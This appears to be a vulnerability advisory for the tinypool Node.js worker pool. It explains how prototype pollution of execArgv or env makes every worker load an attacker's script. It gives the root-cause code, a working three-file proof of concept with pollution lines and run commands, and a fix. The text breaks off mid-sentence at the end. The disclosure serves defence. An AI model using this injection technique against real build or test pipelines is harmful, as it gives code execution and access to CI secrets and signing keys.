Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.
Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.
2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.
## Root cause
`dist/index.js` lines 508-511:
```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```
`this.options` is built at line 470 via object spread:
```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```
## Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
## Proof of concept
Minimal reproduction (3 files):
**worker.mjs** — the application's own legitimate worker:
```js
export default function double(n) { return n * 2 }
```
**payload.js** — attacker-controlled code (never referenced by the app):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
```
**app.js** — normal tinypool usage:
```js
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
```
Run:
```
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
```
Both `execArgv` and `env` vectors confirmed on Node 20.
## Suggested fix
Resolve worker options with own-property semantics:
```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```
Same vulnerability as